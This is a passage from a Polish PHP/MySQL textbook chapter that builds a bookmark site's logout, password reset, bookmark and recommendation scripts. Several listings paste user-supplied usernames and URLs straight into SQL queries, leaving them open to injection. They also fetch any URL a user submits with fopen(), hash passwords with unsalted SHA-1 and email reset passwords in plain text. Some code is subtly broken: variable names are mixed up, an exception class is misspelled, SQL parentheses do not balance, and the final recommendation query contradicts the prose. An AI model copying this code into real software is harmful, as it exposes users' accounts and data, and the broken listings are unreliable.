użytkownik posiada zgłoszoną sesję, to znaczy, czy zdążył się już zalogować. Funkcja ta została
przedstawiona na listingu 27.13.

Listing 27.13. Funkcja sprawdz_prawid_uzyt() z pliku funkcje_uwierz.php — sprawdza, czy użytkownik posiada
zgłoszoną sesję
function sprawdz_prawid_uzyt() {
// sprawdzenie, czy użytkownik jest zalogowany, i powiadomienie go, jeżeli nie jest
if (isset($_SESSION['prawid_uzyt'])) {
echo "Zalogowano jako ".$_SESSION['prawid_uzyt'].".<br />";
} else {
// nie jest zalogowany
tworz_naglowek_html('Problem:');
echo 'Brak zalogowania.<br />';
tworz_HTML_URL('logowanie.php', 'Logowanie');
tworz_stopke_html();
exit;
}
}

Jeżeli użytkownik nie jest zalogowany, funkcja poinformuje go, że musi się zalogować, aby oglądać
zawartość tej strony. Dostarczy mu również łącza do strony logowania.

Wylogowanie
Można zauważyć, że w menu na rysunku 27.6 istnieje łącze o nazwie Wylogowanie. Jest to łącze
do skryptu wylog.php, przedstawionego na listingu 27.14.
Rozdział 27.  Tworzenie uwierzytelniania użytkowników i personalizacji 555

Listing 27.14. wylog.php — skrypt ten kończy sesję użytkownika


<?php

// dołączenie plików funkcji tej aplikacji


require_once('funkcje_zakladki.php');
session_start();
$stary_uzyt = $_SESSION['prawid_uzyt'];

// przechowanie do sprawdzenia, czy logowanie wystąpiło


unset($_SESSION['prawid_uzyt']);
$wynik_niszcz = session_destroy();

// początek wyświetlania html


tworz_naglowek_html('Wylogowanie');

if (!empty($stary_uzyt)) {
if ($wynik_niszcz) {
// jeżeli użytkownik zalogowany i niewylogowany
echo 'Wylogowano.<br />';
tworz_HTML_URL('logowanie.php', 'Logowanie');
} else {
// użytkownik zalogowany i wylogowanie niemożliwe
echo 'Wylogowanie niemożliwe.<br />';
}
} else {
// jeżeli brak zalogowania, lecz w jakiś sposób uzyskano dostęp do strony
echo 'Użytkownik niezalogowany, tak więc brak wylogowania.<br />';
tworz_HTML_URL('logowanie.php', 'Logowanie');
}

tworz_stopke_html();

?>

Powyższy kod również może wydawać się znajomy. Wynika to z faktu, że jest on oparty na kodzie
utworzonym w rozdziale 22.

Zmiana hasła
Po wybraniu opcji menu Zmiana hasła użytkownikowi zostanie wyświetlony formularz, przedsta-
wiony na rysunku 27.7.

Formularz ten tworzony jest przez skrypt zmiana_hasla_formularz.php. Ten prosty skrypt stosuje
funkcje z biblioteki wyświetlającej, tak więc jego kod nie został tu zawarty.

Kiedy formularz zostanie wysłany, wywoła skrypt zmiana_hasla.php, przedstawiony na listingu 27.15.

Listing 27.15. zmiana_hasla.php — skrypt, który zmienia hasło użytkownika


<?php
require_once('funkcje_zakladki.php');
session_start();
tworz_naglowek_html('Zmiana hasła');

// utworzenie krótkich nazw zmiennych


$stare_haslo = $_POST['stare_haslo'];
$nowe_haslo = $_POST['nowe_haslo'];
$nowe_haslo2 = $_POST['nowe_haslo2'];
556 Część V  Tworzenie praktycznych projektów PHP i MySQL

Rysunek 27.7.
Skrypt zmiana_hasla_
formularz.php wyświetla
formularz umożliwiający
użytkownikom zmianę
hasła

try {
sprawdz_prawid_uzyt();
if (!wypelniony($_POST)) {
throw new Exception('Formularz nie został wypełniony całkowicie. Proszę spróbować
ponownie.');
}

if ($nowe_haslo != $nowe_haslo2) {
throw new Exception('Wprowadzone hasła nie są identyczne. Hasło nie zostało zmienione.');
}

if ((strlen($nowe_haslo) > 16) || (strlen($nowe_haslo) < 6)) {


throw new Exception('Nowe hasło musi mieć długość co najmniej 6 i maksymalnie 16 znaków.
Proszę spróbować ponownie.');
}

// próba uaktualnienia
zmien_haslo($_SESSION['prawid_uzyt'], $stare_haslo, $nowe_haslo);
echo 'Hasło zmienione.';
}
catch (Exception $e) {
echo $e->getMessage();
}
wyswietl_menu_uzyt();
tworz_stopke_html();
?>

Powyższy skrypt sprawdza, czy użytkownik jest zalogowany (za pomocą funkcji sprawdz_prawid_
uzyt()), czy wypełnił on formularz hasła (za pomocą wypelniony()) oraz czy nowe hasła są
identyczne i właściwej długości. Działania te nie są nowe. Jeżeli nie wystąpią żadne problemy,
zostaje wywołana funkcja zmien_haslo():
Rozdział 27.  Tworzenie uwierzytelniania użytkowników i personalizacji 557

zmien_haslo($_SESSION['prawid_uzyt'], $stare_haslo, $nowe_haslo);


echo 'Hasło zmienione.';

Funkcja ta pochodzi z biblioteki funkcje_uwierz.php, a jej kod jest przedstawiony na listingu 27.16.

Listing 27.16. Funkcja zmien_haslo() pochodząca z pliku funkcje_uwierz.php — uaktualnia hasło użytkownika
w bazie danych
function zmien_haslo($nazwa_uz, $stare_haslo, $nowe_haslo) {
// zmiana hasła użytkownika ze stare_haslo na nowe_haslo
// zwraca true lub false

// jeżeli stare hasło jest prawidłowe


// zmienia hasło na nowe_haslo i zwraca true
// w przeciwnym wypadku zgłasza wyjątek
loguj($nazwa_uz, $stare_haslo);
$lacz = lacz_bd();
$wynik = $lacz->query("update uzytkownik
set haslo = sha1('".$nowe_haslo."')
where nazwa_uz = '".$nazwa_uz."'");
if (!$wynik) {
throw new Exception('Zmiana hasła nie powiodła się.');
} else {
return true; // zmiana udana
}
}

Funkcja ta sprawdza za pomocą opisanej poprzednio funkcji loguj(), czy podane stare hasło
jest prawidłowe. Jeżeli jest prawidłowe, funkcja łączy się z bazą danych i uaktualnia hasło do
nowej wartości.

Ustawianie zapomnianych haseł


Oprócz zmiany hasła należy uwzględnić często zdarzającą się sytuację, kiedy to użytkownik
zapomina swojego hasła. Na początkowej stronie logowanie.php jest wyświetlone łącze dla użyt-
kowników znajdujących się w takiej sytuacji, oznaczone Zapomniane hasło?. Łącze to przenie-
sie użytkownika do skryptu o nazwie zapomnij_formularz.php, który korzysta z funkcji wyświe-
tlających w celu prezentacji formularza (rysunek 27.8).

Rysunek 27.8.
Skrypt zapomnij_
formularz.php tworzy
formularz, w którym
użytkownicy mogą
poprosić o ustawienie
nowego hasła i wysłanie
go do nich
558 Część V  Tworzenie praktycznych projektów PHP i MySQL

Ten prosty skrypt korzysta jedynie z funkcji wyświetlających, tak więc nie został tu przedsta-
wiony. Kiedy formularz zostaje wysłany, wywołuje skrypt zapomnij_haslo.php, znacznie bardziej
interesujący. Skrypt ten jest przedstawiony na listingu 27.17.

Listing 27.17. zapomnij_haslo.php — skrypt ustawia hasło użytkownika na losową wartość i wysyła ją
za pomocą poczty elektronicznej
<?php
require_once("funkcje_zakladki.php");
tworz_naglowek_html("Ustawianie hasła");

// utworzenie krótkiej nazwy zmiennej


$nazwa_uz = $_POST['nazwa_uz'];

try {
$haslo=ustaw_haslo($nazwa_uz);
powiadom_haslo($nazwa_uz, $haslo);
echo 'Nowe hasło zostało przesłane na adres poczty elektronicznej.<br />';
}
catch (Exception $e) {
echo 'Hasło nie mogło zostać ustawione. Proszę spróbować później.';
}
tworz_HTML_URL('logowanie.php', 'Logowanie');
tworz_stopke_html();
?>

Jak można dostrzec, w celu wykonania pracy powyższy skrypt korzysta z dwóch głównych
funkcji — ustaw_haslo() i powiadom_haslo(). Zostaną one kolejno opisane.

Funkcja ustaw_haslo() generuje nowe losowe hasło dla użytkownika i umieszcza je w bazie
danych. Kod tej funkcji jest przedstawiony na listingu 27.18.

Listing 27.18. Funkcja ustaw_haslo() umieszczona w pliku funkcje_uwierz.php — ten skrypt ustawia hasło
użytkownika na losową wartość i wysyła je pocztą elektroniczną
function ustaw_haslo($nazwa_uz) {
// ustawienie hasła użytkownika na losową wartość
// zwraca nowe hasło lub false w przypadku niepowodzenia

// pobranie losowego słowa ze słownika, o długości pomiędzy 6 i 13 znaków


$nowe_haslo = pobierz_losowe_slowo(6, 13);

if($nowe_haslo == false) {
// użycie domyślnej wartości hasła
$nowe_haslo = "zmienMnie!";
}

// dodanie liczby z zakresu od 0 do 999


// w celu stworzenia lepszego hasła
$losowa_liczba = rand(0, 999);
$nowe_haslo .= $losowa_liczba;

// ustawienie nowego hasła w bazie danych lub zwrócenie false


$lacz = lacz_bd();
$wynik = $lacz->query("update uzytkownik
set haslo = sha1('".$nowe_haslo."')
where nazwa_uz = '".$nazwa_uz."'");
if (!$wynik) {
throw new Exception('Zmiana hasła nie powiodła się.'); // hasło niezmienione
} else {
Rozdział 27.  Tworzenie uwierzytelniania użytkowników i personalizacji 559

return $nowe_haslo; // hasło zmienione pomyślnie


}
}

Funkcja ta generuje losowe hasło poprzez odczytanie losowego słowa ze słownika za pomocą
funkcji pobierz_losowe_slowo() i dodanie do niej losowej liczby z zakresu od 0 do 999. Jeśli słowo
nie zostanie pobrane ze słownika, to funkcja użyje domyślnego hasła o postaci "ZmienMnie!" z koń-
cówką w formie losowej liczby. Funkcja pobierz_losowe_slowo() znajduje się w bibliotece
funkcje_uwierz.php. Funkcja ta, przedstawiona na listingu 27.19, również znajduje się w bibliotece
funkcje_uwierz.php.

Listing 27.19. Funkcja pobierz_losowe_slowo() umieszczona w pliku funkcje_uwierz.php — pobiera losowe


słowo ze słownika i wykorzystuje je do utworzenia hasła
function pobierz_losowe_slowo($dlugosc_min, $dlugosc_max) {
// pobranie ze słownika losowego słowa o określonej długości
// i zwrócenie go

// generowanie losowego słowa


$slowo = '';
// tę ścieżkę należy dostosować do ustawień własnego systemu
$slownik = '/usr/dict/words'; // słownik ispell
$wp = @fopen($slownik, 'r');
if(!$wp) {
return false;
}
$wielkosc = filesize($slownik);

// przejście do losowej pozycji w słowniku


$losowa_pozycja = rand(0, $wielkosc);
fseek($wp, $losowa_pozycja);

// pobranie ze słownika następnego pełnego słowa o właściwej długości


while ((strlen($slowo) < $dlugosc_min) || (strlen($slowo)>$dlugosc_max)
|| strstr($slowo, "'"))
{
if (feof($wp)) {
fseek($wp, 0); // jeżeli koniec pliku, przeskocz na początek
}
$slowo = fgets($wp, 80); // przeskoczenie pierwszego słowa, bo może być niepełne
$slowo = fgets($wp, 80); // potencjalne hasło
}
$slowo = trim($slowo); // obcięcie początkowego \n z funkcji fgets
return $slowo;
}

Aby skrypt był jeszcze bezpieczniejszy, zamiast stosować hasło o domyślnej postaci, należałoby
zgłosić wyjątek, na przykład w poniższy sposób:
if($nowe_haslo == false) {
throw new Exeption('Nie można ustawić nowego hasła!');
}

Aby ta funkcja mogła pracować, potrzebuje słownika. W systemach uniksowych wbudowany


korektor pisowni ispell zawiera słownik, zazwyczaj umieszczony w katalogu /usr/dict/words, jak
w naszym przypadku, lub w katalogu /usr/share/dict/words. Jeśli nie ma go w żadnej z podanych
lokalizacji, w większości systemów można go znaleźć, wpisując:
# locate dict/words
560 Część V  Tworzenie praktycznych projektów PHP i MySQL

W przypadku innych systemów lub braku instalacji ispell nie należy zaprzątać sobie uwagi
tym problemem. Lista słów stosowanych przez ispell jest dostępna pod następującym adre-
sem http://wordlist.sourceforge.net/, wystarczy zatem zmienić jedynie adres w kodzie funkcji
pobierz_losowe_slowo().

Witryna ta zawiera słowniki w wielu językach, jeżeli więc losowe słowo powinno pochodzić na
przykład z norweskiego lub esperanto, można pobrać jeden ze słowników. Pliki te sformatowane
są w taki sposób, że każde słowo umieszczone jest w osobnym wierszu, oddzielone przez znaki
nowej linii.

Aby pobrać losowe słowo z tego pliku, wybierana jest losowa pozycja pomiędzy 0 i długością
pliku, po czym następuje odczyt pliku z tego miejsca. Jeżeli odczyt zostanie wykonany od losowej
pozycji do następnego znaku nowego wiersza, najprawdopodobniej wynikiem będzie niepełne
słowo, tak więc pierwszy wiersz zostanie pominięty. Jako hasło zostanie pobrane następne słowo.
Działanie to jest wykonane poprzez dwukrotne wywołanie funkcji fgets().

W funkcji przedstawionej powyżej zastosowano dwa przemyślne rozwiązania. Pierwszy polega


na tym, że po osiągnięciu końca pliku podczas poszukiwań słowa wykonany jest powrót do jego
początku:
if(feof($wp)) {
fseek($wp, 0); // jeżeli koniec pliku, przeskocz na początek
}

Drugim jest możliwość znajdowania słowa o odpowiedniej długości — można sprawdzić


każde słowo pobrane ze słownika i jeżeli jego długość nie mieści się pomiędzy $dlugosc_min
i $dlugosc_max, poszukiwania są kontynuowane. Dodatkowo pomijane są także słowa z apostrofami.
Można by odpowiedanio poprzedzić znak apostrofu przed użyciem takiego słowa, lecz łatwiej
będzie je pominąć i przejść do następnego.
W funkcji ustaw_haslo() po wygenerowaniu nowego hasła uaktualniana jest baza danych tak,
aby odzwierciedlała zmiany, po czym nowe hasło zwracane jest do głównego skryptu. Będzie
ono później przekazane do funkcji powiadom_haslo(), która wyśle je za pomocą poczty elektro-
nicznej do użytkownika. Na listingu 27.20 została przedstawiona funkcja powiadom_haslo().

Listing 27.20. Funkcja powiadom_haslo() umieszczona w pliku funkcje_uwierz.php — wysyła nowe hasło
na adres poczty elektronicznej użytkownika
function powiadom_haslo($nazwa_uz, $haslo) {
// powiadomienie użytkownika o zmianie hasła

$lacz = lacz_bd();
$wynik = $lacz->query("select email from uzytkownik
where nazwa_uz='".$nazwa_uz."'");
if (!$wynik) {
throw new Exception('Nie znaleziono adresu e-mail');
} else if ($wynik->num_rows == 0) {
throw new Exception('Nie znaleziono adresu e-mail');
// nazwy użytkownika nie ma w bazie danych
} else {
$wiersz = $wynik->fetch_object();
$email = $wiersz->email;
$od = "From: obsluga@zakladkaphp \r\n";
$wiad = "Hasło systemu ZakładkaPHP zostało zmienione na $haslo \r\n"
."Proszę zmienić je przy następnym logowaniu. \r\n";

if (mail($email, 'Informacja o logowaniu ZakładkaPHP', $wiad, $od)) {


return true;
Rozdział 27.  Tworzenie uwierzytelniania użytkowników i personalizacji 561

} else {
throw new Exception('Wysłanie e-maila nie powiodło się');
}
}
}

Powyższa funkcja po otrzymaniu nazwy użytkownika i nowego hasła po prostu wyszukuje adres
poczty elektronicznej tego użytkownika w bazie danych, po czym korzysta z funkcji PHP mail(),
aby wysłać hasło.
Bezpieczniejsze byłoby nadanie użytkownikom haseł losowych z prawdziwego zdarzenia —
utworzonych z dowolnej kombinacji małych i wielkich liter, cyfr i znaków interpunkcyjnych —
a nie losowych słów i liczb. Jednak hasło typu „zygzak487” będzie łatwiejsze do odczytania
i wpisania niż to prawdziwie losowe. Użytkownikom często sprawia problemy rozpoznanie, czy
znak w losowym łańcuchu to 0, czy O (zero lub wielkie O), czy też 1 lub l (jeden lub małe L).
W tym systemie plik słownika zawiera około 45 000 słów. Jeżeli włamywacz znałby sposób
tworzenia haseł oraz nazwę użytkownika, ciągle pozostałoby mu średnio 22 500 000 haseł, z których
musiałby wybrać jedno. Ten poziom bezpieczeństwa wydaje się odpowiedni do takiego typu apli-
kacji, nawet jeżeli użytkownicy nie zwrócą uwagi na przesłaną pocztą elektroniczną radę, aby je
zmienić.
Jednak lepszym rozwiązaniem pozwalającym użytkownikom na zmianę hasła byłoby przesyłanie im
łącza do strony z formularzem do zmiany hasła, zawierającego w łańcuchu zapytania jednorazowy
żeton, którego ważność wygasałaby po określonym czasie (24 godzinach, 72 godzinach itd.).
Ten jednorazowy żeton byłby kluczem służącym do uwierzytelnienia użytkownika i pozwalającym
mu na zmianę hasła, i to bez konieczności stosowania generowanego hasła przesyłanego otwartym
tekstem w wiadomości e-mail.

Implementacja przechowywania
i odczytywania zakładek
Funkcje odpowiedzialne za obsługę kont użytkowników zostały zaimplementowane, zatem w tym
podrozdziale przedstawiamy sposób przechowywania, odczytywania oraz usuwana zakładek.

Dodawanie zakładek
Użytkownicy mogą dodawać zakładki poprzez wybranie opcji menu Dodaj zakładkę. Zostaną
wtedy przeniesieni do formularza przedstawionego na rysunku 27.9.

Skrypt ten również jest prosty i wykorzystuje jedynie funkcje wyświetlające, więc nie został tu
opisany. Po wysłaniu formularz wywołuje skrypt dodaj_zak.php (zobacz listing 27.21).

Listing 27.21. dodaj_zak.php — skrypt dodaje nowe zakładki do strony osobistej użytkownika
<?php
require_once('funkcje_zakladki.php');
session_start();

// utworzenie krótkiej nazwy zmiennej


$nowy_url = $_POST['nowy_url'];
562 Część V  Tworzenie praktycznych projektów PHP i MySQL

Rysunek 27.9.
Skrypt dodaj_zak_
formularz.php wyświetla
formularz, za pomocą
którego użytkownicy
mogą dodawać zakładki
do strony osobistej

tworz_naglowek_html('Dodawanie zakładek');

try {
sprawdz_prawid_uzyt();
if (!wypelniony($_POST)) {
throw new Exception('Formularz wypełniony niewłaściwie. Proszę spróbować ponownie.');
}
// sprawdzenie formatu URL-a
if (strstr($nowy_url, 'http://') === false) {
$nowy_url = 'http://'.$nowy_url;
}

// sprawdzenie prawidłowości URL-a


if (!(@fopen($nowy_url, 'r'))) {
throw new Exception('URL nieprawidłowy.');
}

// próba dodania zakładki


dodaj_zak($nowy_url);
echo 'Zakładka dodana.';

// pobranie zakładek zapisanych przez użytkownika


if ($tablica_urli = pobierz_urle_uzyt($_SESSION['prawid_uzyt'])) {
wyswietl_urle_uzyt($tablica_url);
}
}
catch (Exception $e) {
echo $e->getMessage();
}
wyswietl_menu_uzyt();
tworz_stopke_html();
?>

Powyższy skrypt również przechodzi ścieżkę sprawdzenia prawidłowości, wpisu do bazy danych
i wyświetlenia.
Aby potwierdzić prawidłowość, najpierw sprawdzane jest wypełnienie formularza przez użytkow-
nika za pomocą funkcji wypelniony(). Następnie URL przechodzi dwa testy. Przede wszystkim
funkcja strstr()sprawdza, czy URL rozpoczyna się od wyrażenia http://. Jeżeli nie, zostaje
Rozdział 27.  Tworzenie uwierzytelniania użytkowników i personalizacji 563

ono dodane do początku URL-a. Po wykonaniu tego działania można sprawdzić istnienie URL-a.
Jak stwierdzono w rozdziale 18., do otwarcia URL-a rozpoczynającego się od http:// można
zastosować funkcję fopen(). Jeżeli istnieje możliwość otwarcia pliku, można przyjąć, że URL
jest prawidłowy, po czym wywołać funkcję dodaj_zak() w celu dodania go do bazy danych.
Wszystkie funkcje związane z zakładkami znajdują się w bibliotece funkcji funkcje_url.php. Kod
funkcji dodaj_zak() jest przedstawiony na listingu 27.22.

Listing 27.22. Funkcja dodaj_zak() pochodząca z pliku funkcje_url.php — dodaje nowe zakładki do bazy danych
function dodaj_zak($nowy_url) {
// dodawanie nowych zakładek do bazy danych

echo "Próba dodania ".htmlspecialchars($nowy_url)."<br />";


$prawid_uzyt = $_SESSION['prawid_uzyt'];

$lacz = lacz_bd();

// sprawdzenie, czy zakładka już istnieje


$wynik = $lacz->query("select * from zakladka
where nazwa_uz='$prawid_uzyt'
and URL_zak='".$nowy_url."'");
if ($wynik && ($wynik->num_rows>0)) {
throw new Exception('Zakładka już istnieje.');
}

// umieszczenie nowej zakładki


if (!$lacz->query("insert into zakladka values
('".$prawid_uzyt."', '".$nowy_url."')")) {
throw new Exception('Wstawienie nowej zakładki nie powiodło się');
}

return true;
}

Funkcja dodaj_zak() jest względnie prosta. Sprawdza ona, czy użytkownik nie posiada już takiej
zakładki w bazie danych. (To mało prawdopodobne, by użytkownik umieszczał zakładkę drugi
raz, lecz jest możliwe i nawet prawdopodobne, że odświeżył stronę). Jeżeli zakładka jest nowa,
wtedy zostaje umieszczona w bazie danych.

Analizując po raz kolejny plik dodaj_zak.php, można dostrzec, że ostatnim działaniem wykonywa-
nym przez ten skrypt jest wywołanie funkcji pobierz_urle_uzyt() i wyswietl_urle_uzyt(), podobnie
jak w pliku czlonek.php. Funkcje te zostały opisane poniżej.

Wyświetlanie zakładek
W skrypcie czlonek.php i funkcji dodaj_zak() zostały zastosowane funkcje pobierz_urle_uzyt()
i wyswietl_urle_uzyt(). Pobierają one odpowiednie zakładki z bazy i wyświetlają je. Funkcja
pobierz_urle_uzyt() znajduje się w bibliotece funkcje_url.php, a wyswietl_urle_uzyt() —
w bibliotece funkcje_wyswietl.php.

Funkcja pobierz_urle_uzyt() jest przedstawiona na listingu 27.23.

Listing 27.23. Funkcja pobierz_urle_uzyt() z pliku funkcje_url.php — odczytuje zakładki użytkownika z bazy danych
function pobierz_urle_uzyt($nazwa_uz) {
// pobranie z bazy danych wszystkich URL-i danego użytkownika
564 Część V  Tworzenie praktycznych projektów PHP i MySQL

$lacz = lacz_bd();
$wynik = $lacz->query("select URL_zak
from zakladka
where nazwa_uz = '".$nazwa_uz."'");
if (!$wynik) {
return false;
}

// tworzenie tablicy URL-i


$tablica_url = array();
for ($licznik = 0; $rzad = $wynik->fetch_row(); ++$licznik) {
$tablica_url[$licznik] = $rzad[0];
}
return $tablica_url;
}

Poniżej znajduje się krótki opis funkcji pobierz_urle_uzyt(). Pobiera ona jako parametr nazwę
użytkownika oraz odczytuje zakładki użytkownika z bazy danych. Zwróci ona tablicę tych URL-i
lub false, jeżeli zakładki nie mogą być odczytane.

Tablica z funkcji pobierz_urle_uzyt() może zostać przekazana wyswietl_urle_uzyt(). Jest to


kolejna prosta funkcja wyświetlająca HTML, a konkretnie URL-e użytkownika w formie tabeli, tak
więc nie zostanie tu opisana. Jej wynik przedstawiono na rysunku 27.6. Ściślej mówiąc, funkcja
umieszcza URL-e w formularzu. Obok każdego URL-a znajduje się pole wyboru, które pozwala
na zaznaczenie zakładek do usunięcia. Usuwanie zakładek zostało opisane poniżej.

Usuwanie zakładek
Kiedy użytkownik zaznaczy zakładki do usunięcia i wybierze opcję menu Usuwanie zakładek,
formularz zawierający URL-e zostanie wysłany. Każde z pól wyboru jest tworzone za pomocą
następującego kodu w funkcji wyswietl_urle_uzyt():
echo "<tr bgcolor=\"".$kolor."\"><td>
<a href=\"".$url."\">".htmlspecialchars($url)."</a></td>
<td><input type=\"checkbox\" name=\"usun_mnie[]\"
value=\"".$url."\"/></td>
</tr>";

Nazwą każdego pola wyboru jest usun_mnie[]. Oznacza to, że w skrypcie PHP aktywowanym
przez ten formularz będzie dostępna tablica o nazwie $usun_mnie, która zawiera wszystkie zakładki
przeznaczone do usunięcia.
Wybranie opcji Usuwanie zakładek aktywuje skrypt usun_zak.php. Skrypt ten jest przedstawiony
na listingu 27.24.
Listing 27.24. usun_zak.php — skrypt usuwa zakładki z bazy danych
<?php
require_once('funkcje_zakladki.php');
session_start();

//create short variable names


$usun_mnie = $_POST['usun_mnie'];
$prawid_uzyt = $_SESSION['prawid_uzyt'];

tworz_naglowek_html('Usuwanie zakładek');
sprawdz_prawid_uzyt();
Rozdział 27.  Tworzenie uwierzytelniania użytkowników i personalizacji 565

if (!wypelniony($_POST)) {
echo '<p>Nie zostały wybrane żadne zakładki do usunięcia.<br />
Proszę spróbować ponownie.</p>';
wyswietl_menu_uzyt();
tworz_stopke_html();
exit;
} else {
if (count($usun_mnie) > 0) {
foreach($usun_mnie as $url) {
if (usun_zak($prawid_uzyt, $url)) {
echo 'Usunięto '.htmlspecialchars($url).'.<br />';
} else {
echo 'Nie udało się usunięcie '.htmlspecialchars($url).'.<br />';
}
}
} else {
echo 'Nie wybrano żadnych zakładek do usunięcia';
}
}

// odczytanie zakładek użytkownika


if ($tablica_url = pobierz_urle_uzyt($prawid_uzyt)) {
wyswietl_urle_uzyt($tablica_url);
}

wyswietl_menu_uzyt();
tworz_stopke_html();
?>

Skrypt ten rozpoczyna się od przeprowadzenia zwyczajowego sprawdzenia prawidłowości danych.


Kiedy wiadomo już, że użytkownik wyznaczył pewne zakładki do usunięcia, są one eliminowane
za pomocą następującej pętli:
foreach($usun_mnie as $url) {
if (usun_zak($prawid_uzyt, $url)) {
echo 'Usunięto '.htmlspecialchars($url).'.<br />';
} else {
echo 'Nie udało się usunięcie '.htmlspecialchars($url).'.<br />';
}
}

Właściwe usuwanie zakładki z bazy danych wykonuje więc funkcja usun_zak(), przedstawiona na
listingu 27.25.
Listing 27.25. Funkcja usun_zak() pochodząca z pliku funkcje_url.php — usuwa pojedynczą zakładkę z listy
użytkownika
function usun_zak($uzytkownik, $url) {
// usunięcie jednego URL-a z bazy danych
$lacz = lacz_bd();

// usunięcie zakładki
if (!$lacz->query("delete from zakladka
where nazwa_uz='".$uzytkownik."'
and URL_zak='".$url."'")) {
throw new Exception('Usunięcie zakładki nie powiodło się.');
}
return true;
}
566 Część V  Tworzenie praktycznych projektów PHP i MySQL

A zatem jest to stosunkowo prosta funkcja. Dokonuje ona próby eliminacji zakładki konkretnego
użytkownika z bazy danych. Należy pamiętać, że trzeba usunąć parę użytkownik – zakładka. Inni
użytkownicy mogą dalej posiadać ten URL jako zakładkę.
Przykładowy wynik uruchomienia skryptu usuwającego jest przedstawiony na rysunku 27.10.

Rysunek 27.10.
Skrypt usuwający
powiadamia użytkownika
o usuniętych zakładkach
i wyświetla pozostałe

Podobnie jak w skrypcie dodaj_zak.php, kiedy zmiany w bazie danych zostaną wykonane, ukaże
się nowa lista zakładek za pomocą funkcji pobierz_urle_uzyt() i wyswietl_urle_uzyt().

Implementacja rekomendacji
Ostatnim łączem jest skrypt rekomendujący, rekomendacja.php. Istnieje wiele metod rekomendacji.
W tym przypadku zostanie ona przeprowadzona na zasadzie „podobnych umysłów”. Oznacza
to, że odszukani zostaną użytkownicy posiadający co najmniej jedną zakładkę taką samą jak dany
użytkownik.

Najprostszym sposobem implementacji tej metody jako zapytania SQL jest zastosowanie podza-
pytań. Pierwsze podzapytanie będzie miało następującą treść
select distinct(z2.nazwa_uz)
from zakladka z1, zakladka z2
where z1.nazwa_uz='".$prawid_uzyt."'
and z1.nazwa_uz!=z2.nazwa_uz
and z1.URL_zak=z2.URL_zak

Powyższe zapytanie stosuje aliasy do dołączania tabeli bazy danych do samej siebie — osobliwy,
lecz czasami przydatny pomysł. Należy wyobrazić sobie, że tak naprawdę istnieją dwie tabele
zakładek, jedna o nazwie z1, a druga — z2. W tabeli z1 jest przeglądany aktualny użytkownik
i jego zakładki. W drugiej tablicy przeglądane są zakładki pozostałych użytkowników. Poszuki-
wani są inni użytkownicy (z2.nazwa_uz), którzy posiadają URL-e takie same jak aktualny użyt-
kownik (z1.URL_zak=z2.URL_zak) i nie są nim (z1.nazwa_uz!= z2.nazwa_uz).
Rozdział 27.  Tworzenie uwierzytelniania użytkowników i personalizacji 567

W rezultacie zapytania zostaje utworzona lista użytkowników o zainteresowaniach podobnych do


aktualnego użytkownika. Mając tę listę, można szukać innych zakładek do nich należących za
pomocą następującego zapytania zewnętrznego:
select URL_zak
from zakladka
where nazwa_uz in
(select distinct(z2.nazwa_uz
from zakladka z1, zakladka z2
where z1.nazwa_uz='".$prawid_uzyt."'
and z1.nazwa_uz!=z2.nazwa_uz
and z1.URL_zak=z2.URL_zak)

Drugie podzapytanie dodajemy w celu odfiltrowania zakładek wstawionych przez bieżącego


użytkownika. Jeśli bowiem użytkownik już jakąś zakładkę zapisał, to nie ma sensu mu jej ponownie
rekomendować. Ostatecznie zostaje przeprowadzone filtrowanie za pomocą zmiennej $popularnosc
— nie jest konieczne dodawanie zbyt osobistych URL-i, sugeruje się jedynie te zapisane przez
konkretną liczbę innych użytkowników. Całe zapytanie będzie mieć ostatecznie następującą postać:
select URL_zak
from zakladka
where nazwa_uz in
(select distinct(z2.nazwa_uz
from zakladka z1, zakladka z2
where z1.nazwa_uz='".$prawid_uzyt."'
and z1.nazwa_uz!=z2.nazwa_uz)
and URL_zak not in
(select URL_zak
from zakladka
where nazwa_uz='".$prawid_uzyt."')
group by URL_zak
having count(URL_zak)>".$popularnosc;

Jeżeli w systemie znajduje się wiele osób, można podnieść wartość zmiennej $popularnosc, aby
rekomendować jedynie URL-e zapisane przez licznych użytkowników. URL-e zapisane przez liczną
grupę osób powinny być wyższej jakości i posiadać lepszy projekt niż przeciętna strona WWW.

Pełny skrypt tworzący rekomendacje jest przedstawiony na listingach 27.26 i 27.27. Główny skrypt
tworzący rekomendacje nosi nazwę rekomendacja.php (zobacz listing 27.26). Wywołuje on
funkcję rekomendującą o nazwie rekomenduj_urle(), umieszczoną w pliku funkcje_url.php
(zobacz listing 27.27).

Listing 27.26. rekomendacja.php — skrypt sugeruje pewne zakładki, które mogą się spodobać użytkownikowi
<?php
session_start();
require_once('funkcje_zakladki.php');
tworz_naglowek_html('Rekomendacja URL-i');
try {
sprawdz_prawid_uzyt();
$urle = rekomenduj_urle($_SESSION['prawid_uzyt']);
wyswietl_rekomend_urle($urle);
}
catch (Exception $e) {
$e->getMessage();
}
wyswietl_menu_uzyt();
tworz_stopke_html();
?>
568 Część V  Tworzenie praktycznych projektów PHP i MySQL

Listing 27.27. Funkcja rekomenduj_urle() pochodząca z pliku funkcje_url.php — skrypt poszukujący aktualnych
rekomendacji
function rekomenduj_urle($prawid_uzyt, $popularnosc = 1) {
// tworzenie półinteligentnych rekomendacji
// Jeżeli posiadają URL-e wspólne z innymi użytkownikami, mogą im się
// spodobać inne URL-e, które lubią inni
$lacz = lacz_bd();

// znalezienie innych pasujących użytkowników


// z podobnymi URL-ami
// jako prosty sposób wyłączania prywatnych stron użytkowników oraz
// zwiększania szansy rekomendacji wartościowego URL
// podany jest minimalny poziom popularności
// jeżeli $popularnosc=1, wtedy więcej niż jedna osoba musi posiadać
// dany URL przed jego rekomendacją

$zapytanie = "select URL_zak


from zakladka
where nazwa_uz in
(select distinct(z2.nazwa_uz)
from zakladka z1, zakladka z2
where z1.nazwa_uz='".$prawid_uzyt."'
and z1.nazwa_uz != z2.nazwa_uz
and z1.URL_zak != z2.URL_zak)
and URL_zak not in
(select URL_zak
from zakladka
where nazwa_uz='".$prawid_uzyt."')
group by URL_zak
having count(URL_zak)>".$popularnosc;

if (!($wynik = $lacz->query($zapytanie))) {
throw new Exception('Nie znaleziono żadnych rekomendowanych zakładek.');
}

if ($wynik->num_rows==0) {
throw new Exception('Nie znaleziono żadnych rekomendowanych zakładek.');
}

$urle = array();
// stworzenie tablicy odpowiednich URL-i
for ($licznik=0; $rzad = $wynik->fetch_object(); $licznik++) {
$urle[$licznik] = $rzad->URL_zak;
}

return $urle;
}

Przykładowy wynik uruchomienia skryptu rekomendacja.php jest przedstawiony na rysunku 27.11.

Rozwijanie projektu i możliwe rozszerzenia


